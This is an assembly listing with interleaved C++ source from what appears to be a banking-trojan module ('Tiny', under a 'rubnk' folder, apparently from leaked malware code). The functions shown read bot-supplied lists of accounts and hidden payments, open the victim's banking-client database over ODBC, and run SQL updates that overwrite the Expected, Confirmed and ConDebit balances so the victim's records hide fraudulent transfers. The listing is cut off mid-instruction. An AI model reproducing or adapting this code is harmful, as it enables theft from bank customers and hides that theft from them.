  0006c	38 1e		 cmp	 BYTE PTR [esi], bl
  0006e	0f 84 bf 00 00
	00		 je	 $LN36@ReadReplac
; 1300 : 		n++;
; 1301 : 		if( n >= ARRAYSIZE(restAccounts) - 1 ) break;
  00074	89 5d f4	 mov	 DWORD PTR tv473[ebp], ebx
$LL18@ReadReplac:
; 1272 : 	{
; 1273 : 		//
; 1274 : 		char account[32];
; 1275 : 		s += ReadString( s, account );
  00077	8d 55 c0	 lea	 edx, DWORD PTR _account$100617[ebp]
  0007a	8b c6		 mov	 eax, esi
  0007c	e8 00 00 00 00	 call	 ?ReadString@Tiny@@YAHPBDPAD@Z ; Tiny::ReadString
  00081	03 f0		 add	 esi, eax
; 1276 : 		ConvertAccount( account, restAccounts[n].account );
  00083	8d 45 c0	 lea	 eax, DWORD PTR _account$100617[ebp]
  00086	50		 push	 eax
  00087	8b df		 mov	 ebx, edi
  00089	e8 00 00 00 00	 call	 ?ConvertAccount@Tiny@@YAPADPBDPAD@Z ; Tiny::ConvertAccount
; 1277 : 		//
; 1278 : 		int i = 0;
; 1279 : 		while( restAccounts2[i].account[0] )
  0008e	8b 45 fc	 mov	 eax, DWORD PTR _restAccounts2$[ebp]
  00091	59		 pop	 ecx
  00092	33 db		 xor	 ebx, ebx
  00094	eb 16		 jmp	 SHORT $LN47@ReadReplac
$LL16@ReadReplac:
; 1280 : 		{
; 1281 : 			if( m_lstrcmp( restAccounts[n].account, restAccounts2[i].account ) == 0 )
  00096	50		 push	 eax
  00097	57		 push	 edi
  00098	e8 00 00 00 00	 call	 ?m_lstrcmp@@YGKPBD0@Z	; m_lstrcmp
  0009d	85 c0		 test	 eax, eax
  0009f	74 12		 je	 SHORT $LN35@ReadReplac
  000a1	8b 4d fc	 mov	 ecx, DWORD PTR _restAccounts2$[ebp]
; 1285 : 				break;
; 1286 : 			}
; 1287 : 			i++;
  000a4	43		 inc	 ebx
  000a5	8b c3		 mov	 eax, ebx
  000a7	6b c0 50	 imul	 eax, 80			; 00000050H
  000aa	03 c1		 add	 eax, ecx
$LN47@ReadReplac:
; 1277 : 		//
; 1278 : 		int i = 0;
; 1279 : 		while( restAccounts2[i].account[0] )
  000ac	80 38 00	 cmp	 BYTE PTR [eax], 0
  000af	75 e5		 jne	 SHORT $LL16@ReadReplac
; 1332 : 		DBG( "Tiny", "
: %s %s", hidePayments[n].account, hidePayments[n].num );
; 1333 : 		DBG( "Tiny", "
 %02d.%02d.%02d", hidePayments[n].date.day, hidePayments[n].date.month, hidePayments[n].date.year );
; 1334 : 		n++;
; 1335 : 		if( *s == 0 || n >= ARRAYSIZE(hidePayments) - 1 ) break;
  000b1	eb 20		 jmp	 SHORT $LN15@ReadReplac
$LN35@ReadReplac:
; 1282 : 			{
; 1283 : 				restAccounts[n].oldSum = restAccounts2[i].oldSum;
  000b3	8b 45 fc	 mov	 eax, DWORD PTR _restAccounts2$[ebp]
  000b6	6b db 50	 imul	 ebx, 80			; 00000050H
  000b9	03 c3		 add	 eax, ebx
  000bb	8b 48 40	 mov	 ecx, DWORD PTR [eax+64]
  000be	89 4f 40	 mov	 DWORD PTR [edi+64], ecx
  000c1	8b 48 44	 mov	 ecx, DWORD PTR [eax+68]
  000c4	89 4f 44	 mov	 DWORD PTR [edi+68], ecx
; 1284 : 				restAccounts[n].oldDebet = restAccounts2[i].oldDebet;
  000c7	8b 48 48	 mov	 ecx, DWORD PTR [eax+72]
  000ca	89 4f 48	 mov	 DWORD PTR [edi+72], ecx
  000cd	8b 40 4c	 mov	 eax, DWORD PTR [eax+76]
  000d0	89 47 4c	 mov	 DWORD PTR [edi+76], eax
$LN15@ReadReplac:
; 1288 : 		}
; 1289 : 		//
; 1290 : 		int len;
; 1291 : 		restAccounts[n].sum = SumToInt( s, &len );
  000d3	8d 45 f8	 lea	 eax, DWORD PTR _len$100623[ebp]
  000d6	50		 push	 eax
  000d7	8b c6		 mov	 eax, esi
  000d9	e8 00 00 00 00	 call	 ?SumToInt@Tiny@@YA_JPBDPAH@Z ; Tiny::SumToInt
; 1292 : 		s += len;
  000de	03 75 f8	 add	 esi, DWORD PTR _len$100623[ebp]
  000e1	89 47 30	 mov	 DWORD PTR [edi+48], eax
; 1293 : 		restAccounts[n].debet = SumToInt( s, &len );
  000e4	8d 45 f8	 lea	 eax, DWORD PTR _len$100623[ebp]
  000e7	50		 push	 eax
  000e8	8b c6		 mov	 eax, esi
  000ea	89 57 34	 mov	 DWORD PTR [edi+52], edx
  000ed	e8 00 00 00 00	 call	 ?SumToInt@Tiny@@YA_JPBDPAH@Z ; Tiny::SumToInt
; 1294 : 		s += len;
  000f2	03 75 f8	 add	 esi, DWORD PTR _len$100623[ebp]
  000f5	59		 pop	 ecx
  000f6	89 47 38	 mov	 DWORD PTR [edi+56], eax
  000f9	59		 pop	 ecx
  000fa	8d 5f 20	 lea	 ebx, DWORD PTR [edi+32]
; 1295 : 		//
; 1296 : 		s += ReadDate( s, &restAccounts[n].date );
  000fd	8b c6		 mov	 eax, esi
  000ff	89 57 3c	 mov	 DWORD PTR [edi+60], edx
  00102	e8 00 00 00 00	 call	 ?ReadDate@Tiny@@YAHPBDPAUtagTIMESTAMP_STRUCT@@@Z ; Tiny::ReadDate
  00107	03 f0		 add	 esi, eax
  00109	eb 01		 jmp	 SHORT $LN48@ReadReplac
$LL13@ReadReplac:
; 1297 : 		DBG( "Tiny", "
: %s, 
: %I64d, 
: %I64d", restAccounts[n].account, restAccounts[n].sum, restAccounts[n].debet );
; 1298 : 		DBG( "Tiny", "
 %02d.%02d.%02d", restAccounts[n].date.day, restAccounts[n].date.month, restAccounts[n].date.year );
; 1299 : 		while( *s == ' ' ) s++;
  0010b	46		 inc	 esi
$LN48@ReadReplac:
  0010c	80 3e 20	 cmp	 BYTE PTR [esi], 32	; 00000020H
  0010f	74 fa		 je	 SHORT $LL13@ReadReplac
; 1300 : 		n++;
; 1301 : 		if( n >= ARRAYSIZE(restAccounts) - 1 ) break;
  00111	83 45 f4 50	 add	 DWORD PTR tv473[ebp], 80 ; 00000050H
  00115	83 c7 50	 add	 edi, 80			; 00000050H
  00118	81 7d f4 d0 02
	00 00		 cmp	 DWORD PTR tv473[ebp], 720 ; 000002d0H
  0011f	73 10		 jae	 SHORT $LN45@ReadReplac
; 1302 : 		if( *s++ == ';' ) break;
  00121	8a 06		 mov	 al, BYTE PTR [esi]
  00123	46		 inc	 esi
  00124	3c 3b		 cmp	 al, 59			; 0000003bH
  00126	74 09		 je	 SHORT $LN45@ReadReplac
; 1271 : 	while( *s )
  00128	80 3e 00	 cmp	 BYTE PTR [esi], 0
  0012b	0f 85 46 ff ff
	ff		 jne	 $LL18@ReadReplac
$LN45@ReadReplac:
  00131	33 db		 xor	 ebx, ebx
$LN36@ReadReplac:
; 1303 : 	}
; 1304 : 	MemFree(restAccounts2);
  00133	ff 75 fc	 push	 DWORD PTR _restAccounts2$[ebp]
  00136	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 1305 : 
; 1306 : 	m_memset( &hidePayments, 0, sizeof(hidePayments) ); 
  0013b	c7 04 24 10 04
	00 00		 mov	 DWORD PTR [esp], 1040	; 00000410H
  00142	53		 push	 ebx
  00143	bf 00 00 00 00	 mov	 edi, OFFSET _hidePayments
  00148	57		 push	 edi
  00149	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
  0014e	83 c4 0c	 add	 esp, 12			; 0000000cH
; 1307 : 	HidePayment* hidePayments2 = (HidePayment*)File::ReadToBufferA( BOT::MakeFileName( 0, GetStr(TinyOldDocs).t_str() ).t_str(), size );
  00151	8d 45 f0	 lea	 eax, DWORD PTR _size$[ebp]
  00154	50		 push	 eax
  00155	8d 45 e8	 lea	 eax, DWORD PTR $T102050[ebp]
  00158	68 00 00 00 00	 push	 OFFSET ?TinyOldDocs@@3PADA ; TinyOldDocs
  0015d	50		 push	 eax
  0015e	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  00163	59		 pop	 ecx
  00164	59		 pop	 ecx
  00165	8b c8		 mov	 ecx, eax
  00167	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0016c	50		 push	 eax
  0016d	8d 45 e0	 lea	 eax, DWORD PTR $T102051[ebp]
  00170	53		 push	 ebx
  00171	50		 push	 eax
  00172	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  00177	83 c4 0c	 add	 esp, 12			; 0000000cH
  0017a	8b c8		 mov	 ecx, eax
  0017c	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00181	50		 push	 eax
  00182	e8 00 00 00 00	 call	 ?ReadToBufferA@File@@YAPAEPBDAAK@Z ; File::ReadToBufferA
  00187	59		 pop	 ecx
  00188	59		 pop	 ecx
  00189	8d 4d e0	 lea	 ecx, DWORD PTR $T102051[ebp]
  0018c	89 45 f8	 mov	 DWORD PTR _hidePayments2$[ebp], eax
  0018f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00194	8d 4d e8	 lea	 ecx, DWORD PTR $T102050[ebp]
  00197	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 1308 : 	n = 0;
; 1309 : 	while( *s )
  0019c	38 1e		 cmp	 BYTE PTR [esi], bl
  0019e	0f 84 a1 00 00
	00		 je	 $LN46@ReadReplac
; 1332 : 		DBG( "Tiny", "
: %s %s", hidePayments[n].account, hidePayments[n].num );
; 1333 : 		DBG( "Tiny", "
 %02d.%02d.%02d", hidePayments[n].date.day, hidePayments[n].date.month, hidePayments[n].date.year );
; 1334 : 		n++;
; 1335 : 		if( *s == 0 || n >= ARRAYSIZE(hidePayments) - 1 ) break;
  001a4	89 5d f4	 mov	 DWORD PTR tv540[ebp], ebx
$LL9@ReadReplac:
; 1310 : 	{
; 1311 : 		//
; 1312 : 		char account[32];
; 1313 : 		s += ReadString( s, account );
  001a7	8d 55 a0	 lea	 edx, DWORD PTR _account$100667[ebp]
  001aa	8b c6		 mov	 eax, esi
  001ac	e8 00 00 00 00	 call	 ?ReadString@Tiny@@YAHPBDPAD@Z ; Tiny::ReadString
  001b1	03 f0		 add	 esi, eax
; 1314 : 		ConvertAccount( account, hidePayments[n].account );
  001b3	8d 45 a0	 lea	 eax, DWORD PTR _account$100667[ebp]
  001b6	50		 push	 eax
  001b7	8b df		 mov	 ebx, edi
  001b9	e8 00 00 00 00	 call	 ?ConvertAccount@Tiny@@YAPADPBDPAD@Z ; Tiny::ConvertAccount
; 1315 : 		//
; 1316 : 		int i = 0;
  001be	33 db		 xor	 ebx, ebx
  001c0	59		 pop	 ecx
; 1317 : 		while( hidePayments[i].account[0] )
  001c1	38 1d 00 00 00
	00		 cmp	 BYTE PTR _hidePayments, bl
  001c7	74 3d		 je	 SHORT $LN6@ReadReplac
  001c9	33 c0		 xor	 eax, eax
$LL7@ReadReplac:
; 1318 : 		{
; 1319 : 			if( m_lstrcmp( hidePayments[n].account, hidePayments2[i].account ) == 0 )
  001cb	8b 4d f8	 mov	 ecx, DWORD PTR _hidePayments2$[ebp]
  001ce	03 c1		 add	 eax, ecx
  001d0	50		 push	 eax
  001d1	57		 push	 edi
  001d2	e8 00 00 00 00	 call	 ?m_lstrcmp@@YGKPBD0@Z	; m_lstrcmp
  001d7	85 c0		 test	 eax, eax
  001d9	74 11		 je	 SHORT $LN38@ReadReplac
; 1324 : 				break;
; 1325 : 			}
; 1326 : 			i++;
  001db	43		 inc	 ebx
  001dc	8b c3		 mov	 eax, ebx
  001de	6b c0 68	 imul	 eax, 104		; 00000068H
  001e1	80 b8 00 00 00
	00 00		 cmp	 BYTE PTR _hidePayments[eax], 0
  001e8	75 e1		 jne	 SHORT $LL7@ReadReplac
; 1332 : 		DBG( "Tiny", "
: %s %s", hidePayments[n].account, hidePayments[n].num );
; 1333 : 		DBG( "Tiny", "
 %02d.%02d.%02d", hidePayments[n].date.day, hidePayments[n].date.month, hidePayments[n].date.year );
; 1334 : 		n++;
; 1335 : 		if( *s == 0 || n >= ARRAYSIZE(hidePayments) - 1 ) break;
  001ea	eb 1a		 jmp	 SHORT $LN6@ReadReplac
$LN38@ReadReplac:
; 1320 : 			{
; 1321 : 				hidePayments[n].orgDate = hidePayments2[i].orgDate;
  001ec	8b 45 f8	 mov	 eax, DWORD PTR _hidePayments2$[ebp]
  001ef	6b db 68	 imul	 ebx, 104		; 00000068H
  001f2	03 c3		 add	 eax, ebx
  001f4	8b 48 58	 mov	 ecx, DWORD PTR [eax+88]
  001f7	89 4f 58	 mov	 DWORD PTR [edi+88], ecx
; 1322 : 				hidePayments[n].dayDate = hidePayments2[i].dayDate;
  001fa	8b 48 5c	 mov	 ecx, DWORD PTR [eax+92]
  001fd	89 4f 5c	 mov	 DWORD PTR [edi+92], ecx
; 1323 : 				hidePayments[n].payDate = hidePayments2[i].payDate;
  00200	8b 40 60	 mov	 eax, DWORD PTR [eax+96]
  00203	89 47 60	 mov	 DWORD PTR [edi+96], eax
$LN6@ReadReplac:
  00206	8d 57 20	 lea	 edx, DWORD PTR [edi+32]
; 1327 : 		}
; 1328 : 		//
; 1329 : 		s += ReadString( s, hidePayments[n].num );
  00209	8b c6		 mov	 eax, esi
  0020b	e8 00 00 00 00	 call	 ?ReadString@Tiny@@YAHPBDPAD@Z ; Tiny::ReadString
  00210	03 f0		 add	 esi, eax
  00212	8d 5f 48	 lea	 ebx, DWORD PTR [edi+72]
; 1330 : 		s += ReadDate( s, &hidePayments[n].date );
  00215	8b c6		 mov	 eax, esi
  00217	e8 00 00 00 00	 call	 ?ReadDate@Tiny@@YAHPBDPAUtagTIMESTAMP_STRUCT@@@Z ; Tiny::ReadDate
  0021c	03 f0		 add	 esi, eax
  0021e	eb 01		 jmp	 SHORT $LN49@ReadReplac
$LL4@ReadReplac:
; 1331 : 		while( *s == ' ' ) s++;
  00220	46		 inc	 esi
$LN49@ReadReplac:
  00221	80 3e 20	 cmp	 BYTE PTR [esi], 32	; 00000020H
  00224	74 fa		 je	 SHORT $LL4@ReadReplac
; 1332 : 		DBG( "Tiny", "
: %s %s", hidePayments[n].account, hidePayments[n].num );
; 1333 : 		DBG( "Tiny", "
 %02d.%02d.%02d", hidePayments[n].date.day, hidePayments[n].date.month, hidePayments[n].date.year );
; 1334 : 		n++;
; 1335 : 		if( *s == 0 || n >= ARRAYSIZE(hidePayments) - 1 ) break;
  00226	83 45 f4 68	 add	 DWORD PTR tv540[ebp], 104 ; 00000068H
  0022a	83 c7 68	 add	 edi, 104		; 00000068H
  0022d	80 3e 00	 cmp	 BYTE PTR [esi], 0
  00230	74 13		 je	 SHORT $LN46@ReadReplac
  00232	81 7d f4 a8 03
	00 00		 cmp	 DWORD PTR tv540[ebp], 936 ; 000003a8H
  00239	73 0a		 jae	 SHORT $LN46@ReadReplac
; 1336 : 		s++;
  0023b	46		 inc	 esi
  0023c	80 3e 00	 cmp	 BYTE PTR [esi], 0
  0023f	0f 85 62 ff ff
	ff		 jne	 $LL9@ReadReplac
$LN46@ReadReplac:
; 1337 : 	}
; 1338 : 	MemFree(hidePayments2);
  00245	ff 75 f8	 push	 DWORD PTR _hidePayments2$[ebp]
  00248	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0024d	59		 pop	 ecx
  0024e	5f		 pop	 edi
  0024f	5e		 pop	 esi
  00250	5b		 pop	 ebx
; 1339 : }
  00251	c9		 leave
  00252	c3		 ret	 0
?ReadReplacement@Tiny@@YAXPBD@Z ENDP			; Tiny::ReadReplacement
_TEXT	ENDS
PUBLIC	??_C@_0DG@FJMNODFC@select?5ConDebit?5from?5Turns?5where@ ; `string'
PUBLIC	??_C@_0CK@ECHMMKCH@select?5Expected?5from?5Amounts?5whe@ ; `string'
PUBLIC	??_C@_09PKJFIOBP@os31?5is31?$AA@		; `string'
EXTRN	?WriteBufferA@File@@YAKPBDQAXK@Z:PROC		; File::WriteBufferA
;	COMDAT ??_C@_0DG@FJMNODFC@select?5ConDebit?5from?5Turns?5where@
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_0DG@FJMNODFC@select?5ConDebit?5from?5Turns?5where@ DB 'select ConDe'
	DB	'bit from Turns where Code=? and DayDate=?', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0CK@ECHMMKCH@select?5Expected?5from?5Amounts?5whe@
CONST	SEGMENT
??_C@_0CK@ECHMMKCH@select?5Expected?5from?5Amounts?5whe@ DB 'select Expec'
	DB	'ted from Amounts where Code=?', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_09PKJFIOBP@os31?5is31?$AA@
CONST	SEGMENT
??_C@_09PKJFIOBP@os31?5is31?$AA@ DB 'os31 is31', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?ReplacementBalance@Tiny@@YAXXZ
_TEXT	SEGMENT
_SUM$100725 = -80					; size = 32
tv229 = -48						; size = 8
tv220 = -48						; size = 8
tv219 = -48						; size = 8
tv209 = -48						; size = 8
_sqlBuf$100708 = -40					; size = 8
$T102087 = -32						; size = 8
_sum$100752 = -32					; size = 8
$T102086 = -24						; size = 8
_sum$100730 = -24					; size = 8
_pwsprintfA$100710 = -16				; size = 4
_DayDate$100749 = -12					; size = 4
_n$ = -8						; size = 4
tv290 = -4						; size = 4
?ReplacementBalance@Tiny@@YAXXZ PROC			; Tiny::ReplacementBalance, COMDAT
; 1354 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 50	 sub	 esp, 80			; 00000050H
  00006	53		 push	 ebx
; 1355 : 	DBG( "Tiny", "
; 1356 : 	int n = 0;
  00007	33 db		 xor	 ebx, ebx
  00009	57		 push	 edi
  0000a	89 5d f8	 mov	 DWORD PTR _n$[ebp], ebx
; 1357 : 	ODBC* DB = OpenDB();
  0000d	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  00012	8b f8		 mov	 edi, eax
; 1358 : 	if( DB )
  00014	3b fb		 cmp	 edi, ebx
  00016	0f 84 ea 01 00
	00		 je	 $LN43@Replacemen@2
; 1359 : 	{
; 1360 : 		TMemory sqlBuf(1024);
  0001c	68 00 04 00 00	 push	 1024			; 00000400H
  00021	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00026	59		 pop	 ecx
  00027	89 45 d8	 mov	 DWORD PTR _sqlBuf$100708[ebp], eax
; 1361 : 		const char* sql;
; 1362 : 		fwsprintfA pwsprintfA = Get_wsprintfA();
  0002a	e8 00 00 00 00	 call	 ?Get_wsprintfA@@YAP6AHPADPBDZZXZ ; Get_wsprintfA
  0002f	89 45 f0	 mov	 DWORD PTR _pwsprintfA$100710[ebp], eax
; 1363 : 		while( restAccounts[n].account[0] )
  00032	38 1d 00 00 00
	00		 cmp	 BYTE PTR _restAccounts, bl
  00038	0f 84 68 01 00
	00		 je	 $LN50@Replacemen@2
  0003e	56		 push	 esi
  0003f	c7 45 fc 00 00
	00 00		 mov	 DWORD PTR tv290[ebp], OFFSET _restAccounts
  00046	33 f6		 xor	 esi, esi
$LL6@Replacemen@2:
; 1364 : 		{
; 1365 : 			DBG( "Tiny", "
 %I64d", restAccounts[n].account, restAccounts[n].sum );
; 1366 : 			//
; 1367 : 			char SUM[32];
; 1368 : 			sql = "select Expected from Amounts where Code=?";
; 1369 : 			SQLHSTMT qr = DB->ExecuteSql( sql, "os31 is31", SUM, restAccounts[n].account );
  00048	ff 75 fc	 push	 DWORD PTR tv290[ebp]
  0004b	8d 45 b0	 lea	 eax, DWORD PTR _SUM$100725[ebp]
  0004e	50		 push	 eax
  0004f	68 00 00 00 00	 push	 OFFSET ??_C@_09PKJFIOBP@os31?5is31?$AA@
  00054	68 00 00 00 00	 push	 OFFSET ??_C@_0CK@ECHMMKCH@select?5Expected?5from?5Amounts?5whe@
  00059	57		 push	 edi
  0005a	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  0005f	83 c4 14	 add	 esp, 20			; 00000014H
; 1370 : 			if( qr )
  00062	3b c3		 cmp	 eax, ebx
  00064	74 79		 je	 SHORT $LN3@Replacemen@2
; 1371 : 			{
; 1372 : 				DB->CloseQuery(qr);
  00066	50		 push	 eax
  00067	8b cf		 mov	 ecx, edi
  00069	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1373 : 				__int64 sum = SumToInt( SUM, 0 );
  0006e	53		 push	 ebx
  0006f	8d 45 b0	 lea	 eax, DWORD PTR _SUM$100725[ebp]
  00072	e8 00 00 00 00	 call	 ?SumToInt@Tiny@@YA_JPBDPAH@Z ; Tiny::SumToInt
  00077	89 45 e8	 mov	 DWORD PTR _sum$100730[ebp], eax
; 1374 : 				DBG( "Tiny", "
 %I64d", sum );
; 1375 : 				__int64 v = restAccounts[n].sum;
  0007a	8b 86 30 00 00
	00		 mov	 eax, DWORD PTR _restAccounts[esi+48]
  00080	59		 pop	 ecx
  00081	8b 8e 34 00 00
	00		 mov	 ecx, DWORD PTR _restAccounts[esi+52]
  00087	89 55 ec	 mov	 DWORD PTR _sum$100730[ebp+4], edx
; 1376 : 				if( sum != v ) //
  0008a	39 45 e8	 cmp	 DWORD PTR _sum$100730[ebp], eax
  0008d	75 04		 jne	 SHORT $LN47@Replacemen@2
  0008f	3b d1		 cmp	 edx, ecx
  00091	74 4c		 je	 SHORT $LN3@Replacemen@2
$LN47@Replacemen@2:
; 1377 : 				{
; 1378 : 					sql = "update Amounts set Expected=%d.%02d,Confirmed=%d.%d where Code='%s'";
; 1379 : 					pwsprintfA( sqlBuf.AsStr(), sql, (DWORD)(v / 100), (DWORD)(v % 100), (DWORD)(v / 100), (DWORD)(v % 100), restAccounts[n].account );
  00093	53		 push	 ebx
  00094	6a 64		 push	 100			; 00000064H
  00096	51		 push	 ecx
  00097	50		 push	 eax
  00098	e8 00 00 00 00	 call	 __alldvrm
  0009d	ff 75 fc	 push	 DWORD PTR tv290[ebp]
  000a0	89 5d d4	 mov	 DWORD PTR tv209[ebp+4], ebx
  000a3	51		 push	 ecx
  000a4	50		 push	 eax
  000a5	51		 push	 ecx
  000a6	50		 push	 eax
  000a7	68 00 00 00 00	 push	 OFFSET ??_C@_0EE@PBGOBJMD@update?5Amounts?5set?5Expected?$DN?$CFd?4?$CF@
  000ac	ff 75 d8	 push	 DWORD PTR _sqlBuf$100708[ebp]
  000af	89 55 d4	 mov	 DWORD PTR tv229[ebp+4], edx
  000b2	ff 55 f0	 call	 DWORD PTR _pwsprintfA$100710[ebp]
; 1380 : 					DBG( "Tiny", "sql = '%s'", sqlBuf.AsStr() );
; 1381 : 					qr = DB->ExecuteSql( sqlBuf.AsStr(), 0 );
  000b5	6a 00		 push	 0
  000b7	ff 75 d8	 push	 DWORD PTR _sqlBuf$100708[ebp]
  000ba	57		 push	 edi
  000bb	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  000c0	83 c4 28	 add	 esp, 40			; 00000028H
; 1382 : 					DB->CloseQuery(qr);
  000c3	50		 push	 eax
  000c4	8b cf		 mov	 ecx, edi
  000c6	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1383 : 					restAccounts[n].oldSum = sum;
  000cb	8b 45 e8	 mov	 eax, DWORD PTR _sum$100730[ebp]
  000ce	89 86 40 00 00
	00		 mov	 DWORD PTR _restAccounts[esi+64], eax
  000d4	8b 45 ec	 mov	 eax, DWORD PTR _sum$100730[ebp+4]
  000d7	89 86 44 00 00
	00		 mov	 DWORD PTR _restAccounts[esi+68], eax
  000dd	33 db		 xor	 ebx, ebx
$LN3@Replacemen@2:
; 1384 : 				}
; 1385 : 			}
; 1386 : 
; 1387 : 			DBG( "Tiny", "
 %I64d", restAccounts[n].account, restAccounts[n].debet );
; 1388 : 			int DayDate = ConvertDate( DB, &restAccounts[n].date );
  000df	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _restAccounts[esi+32]
  000e5	50		 push	 eax
  000e6	57		 push	 edi
  000e7	e8 00 00 00 00	 call	 ?ConvertDate@Tiny@@YAHPAVODBC@@PAUtagTIMESTAMP_STRUCT@@@Z ; Tiny::ConvertDate
  000ec	89 45 f4	 mov	 DWORD PTR _DayDate$100749[ebp], eax
; 1389 : 			//
; 1390 : 			sql = "select ConDebit from Turns where Code=? and DayDate=?";
; 1391 : 			qr = DB->ExecuteSql( sql, "os31 is31", SUM, restAccounts[n].account, &DayDate );
  000ef	8d 45 f4	 lea	 eax, DWORD PTR _DayDate$100749[ebp]
  000f2	50		 push	 eax
  000f3	ff 75 fc	 push	 DWORD PTR tv290[ebp]
  000f6	8d 45 b0	 lea	 eax, DWORD PTR _SUM$100725[ebp]
  000f9	50		 push	 eax
  000fa	68 00 00 00 00	 push	 OFFSET ??_C@_09PKJFIOBP@os31?5is31?$AA@
  000ff	68 00 00 00 00	 push	 OFFSET ??_C@_0DG@FJMNODFC@select?5ConDebit?5from?5Turns?5where@
  00104	57		 push	 edi
  00105	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  0010a	83 c4 20	 add	 esp, 32			; 00000020H
; 1392 : 			if( qr )
  0010d	3b c3		 cmp	 eax, ebx
  0010f	74 7a		 je	 SHORT $LN1@Replacemen@2
; 1393 : 			{
; 1394 : 				DB->CloseQuery(qr);
  00111	50		 push	 eax
  00112	8b cf		 mov	 ecx, edi
  00114	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1395 : 				__int64 sum = SumToInt( SUM, 0 );
  00119	53		 push	 ebx
  0011a	8d 45 b0	 lea	 eax, DWORD PTR _SUM$100725[ebp]
  0011d	e8 00 00 00 00	 call	 ?SumToInt@Tiny@@YA_JPBDPAH@Z ; Tiny::SumToInt
  00122	89 45 e0	 mov	 DWORD PTR _sum$100752[ebp], eax
; 1396 : 				DBG( "Tiny", "
 %I64d", sum );
; 1397 : 				__int64 v = restAccounts[n].debet;
  00125	8b 86 38 00 00
	00		 mov	 eax, DWORD PTR _restAccounts[esi+56]
  0012b	59		 pop	 ecx
  0012c	8b 8e 3c 00 00
	00		 mov	 ecx, DWORD PTR _restAccounts[esi+60]
  00132	89 55 e4	 mov	 DWORD PTR _sum$100752[ebp+4], edx
; 1398 : 				if( sum != v )
  00135	39 45 e0	 cmp	 DWORD PTR _sum$100752[ebp], eax
  00138	75 04		 jne	 SHORT $LN48@Replacemen@2
  0013a	3b d1		 cmp	 edx, ecx
  0013c	74 4d		 je	 SHORT $LN1@Replacemen@2
$LN48@Replacemen@2:
; 1399 : 				{
; 1400 : 					sql = "update Turns set ConDebit=%d.%02d where Code='%s' and DayDate=%d";
; 1401 : 					pwsprintfA( sqlBuf.AsStr(), sql, (DWORD)(v / 100), (DWORD)(v % 100), restAccounts[n].account, DayDate );
  0013e	53		 push	 ebx
  0013f	6a 64		 push	 100			; 00000064H
  00141	51		 push	 ecx
  00142	50		 push	 eax
  00143	e8 00 00 00 00	 call	 __alldvrm
  00148	ff 75 f4	 push	 DWORD PTR _DayDate$100749[ebp]
  0014b	89 5d d4	 mov	 DWORD PTR tv219[ebp+4], ebx
  0014e	ff 75 fc	 push	 DWORD PTR tv290[ebp]
  00151	89 55 d4	 mov	 DWORD PTR tv220[ebp+4], edx
  00154	51		 push	 ecx
  00155	50		 push	 eax
  00156	68 00 00 00 00	 push	 OFFSET ??_C@_0EB@CIHNHAK@update?5Turns?5set?5ConDebit?$DN?$CFd?4?$CF02@
  0015b	ff 75 d8	 push	 DWORD PTR _sqlBuf$100708[ebp]
  0015e	ff 55 f0	 call	 DWORD PTR _pwsprintfA$100710[ebp]
; 1402 : 					DBG( "Tiny", "sql = '%s'", sqlBuf.AsStr() );
; 1403 : 					qr = DB->ExecuteSql( sqlBuf.AsStr(), 0 );
  00161	6a 00		 push	 0
  00163	ff 75 d8	 push	 DWORD PTR _sqlBuf$100708[ebp]
  00166	57		 push	 edi
  00167	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  0016c	83 c4 24	 add	 esp, 36			; 00000024H
; 1404 : 					DB->CloseQuery(qr);
  0016f	50		 push	 eax
  00170	8b cf		 mov	 ecx, edi
  00172	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1405 : 					restAccounts[n].oldDebet = sum;
  00177	8b 45 e0	 mov	 eax, DWORD PTR _sum$100752[ebp]
  0017a	89 86 48 00 00
	00		 mov	 DWORD PTR _restAccounts[esi+72], eax
  00180	8b 45 e4	 mov	 eax, DWORD PTR _sum$100752[ebp+4]
  00183	89 86 4c 00 00
	00		 mov	 DWORD PTR _restAccounts[esi+76], eax
  00189	33 db		 xor	 ebx, ebx
$LN1@Replacemen@2:
; 1406 : 				}
; 1407 : 			}
; 1408 : 			n++;
  0018b	ff 45 f8	 inc	 DWORD PTR _n$[ebp]
  0018e	8b 75 f8	 mov	 esi, DWORD PTR _n$[ebp]
  00191	6b f6 50	 imul	 esi, 80			; 00000050H
  00194	8d 86 00 00 00
